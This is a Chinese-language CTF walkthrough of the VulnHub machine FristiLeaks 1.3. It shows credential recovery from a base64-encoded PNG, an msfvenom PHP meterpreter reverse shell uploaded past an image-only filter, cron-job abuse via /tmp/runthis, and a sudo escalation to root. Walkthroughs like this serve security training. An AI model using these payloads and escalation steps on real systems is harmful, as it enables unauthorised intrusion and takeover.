靶机地址:https://www.vulnhub.com/entry/fristileaks-13,133/
靶机难度:中级(CTF)
靶机发布日期:2015年12月14日
靶机描述:用于荷兰非正式黑客聚会的小型VM,称为Fristileaks。 打算在几个小时内打破,而无需调试器,逆向工程等。
目标:得到root权限
作者:DXR嗯嗯呐
信息收集
根据同时将靶机MAC设置为08:00:27:A5:A6:76
开启靶机,显示了IP地址
nmap扫描
nmap端口扫描
80 http
访问80端口,没有获得有用的信息
dirb扫描一下
在robots.txt发现了几个目录。
加入dirb配置文件再次扫描
也没有获得有用的信息
看了人家的提示,访问fristi目录
admin登陆失败,看一下网页源代码
发现了一段base64编码,解码发现乱码
提示PNG,输出到png打开
display打开
首先安装imagemagick
apt-get install imagemagick
display打开
display test.png
再根据上面的提示应该是个用户名
这样我们获得用户名密码
eezeepz/kekkekkekkekkEkkEk
getshell
登陆发现一个上传节点
根据nmap扫描出来的端口看来应该做了访问限制,正向连接shell,看来是不行了,只能用反弹shell了,msfvenom命令做反弹shell
因为只能上传png,jpg,gif
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.16.129 LPORT=443 -f raw > shell.php
上传文件(只能上传三种图片类型)
找到文件上传的绝对路径
配置msf
获得shell
提权
登陆获得apache权限,去home下看看
发现eezeepz用户可以访问,查看notes.txt
应该是在tmp目录下创建runthis文件,以 /home/admin/开头或者/usr/bin/开头的命令就可以以admin的身份去执行加的命令,执行结果自动输出到cronresult文件
构造语句
/usr/bin/chmod 777 /home/admin
/home/admin/chmod 777 /home/admin #提示说,admin目录下有chmod命令
执行命令
echo ‘/home/admin/chmod 777 /home/admin’ > /tmp/runthis
获得admin目录访问权限
在目录下,发现两个base64密文和一个加密脚本
根据加密脚本,编写解密脚本
import base64,codecs,sys
def encodeString(str):
destring = codecs.decode(str[::-1], ‘rot13’)
return base64.b64decode(destring)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
解密获得提示
解密
mVGZ3O3omkJLmy2pcuTq : thisisalsopw123
=RFn0AKnlMHMPIzpyuTI0ITG : LetThereBeFristi!
根据分析可能是fristigod用户的密码,尝试登陆一下
登陆成功,看一下是否可以执行sudo命令,看意思是说fristi用户在/var/fristigod/.secret_admin_stuff/doCom下可以执行任何root权限命令
在看一下.bash_history文件,看一看之前有人执行过这样的命令不
也得到了同样的证明,直接切换root用户,获得flag
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su –
完成!!!
总结
本来想内核漏洞提权,但是没找到可以利用的payload
不过好在没有找到,通过靶机设置的流程,我学到了更多。
1、通过web界面提示获得一个登陆界面
2、对base64界面获得登陆账号密码,登陆后绕过上传限制,上传木马
3、反弹shell,根据eezeepz用户下提示,通过给admin目录加权限,获得两个base64密文和一个加密脚本。
4、重新编译脚本,解密base64,获得fristigod密码
5、登陆fristigod,发现可以具备sudo权限,根据.bash_history提示和对sudo分析,成功提权,获得root权限。
来源:freebuf.com 2020-12-20 14:17:54 by: DXR嗯嗯呐
请登录后发表评论
注册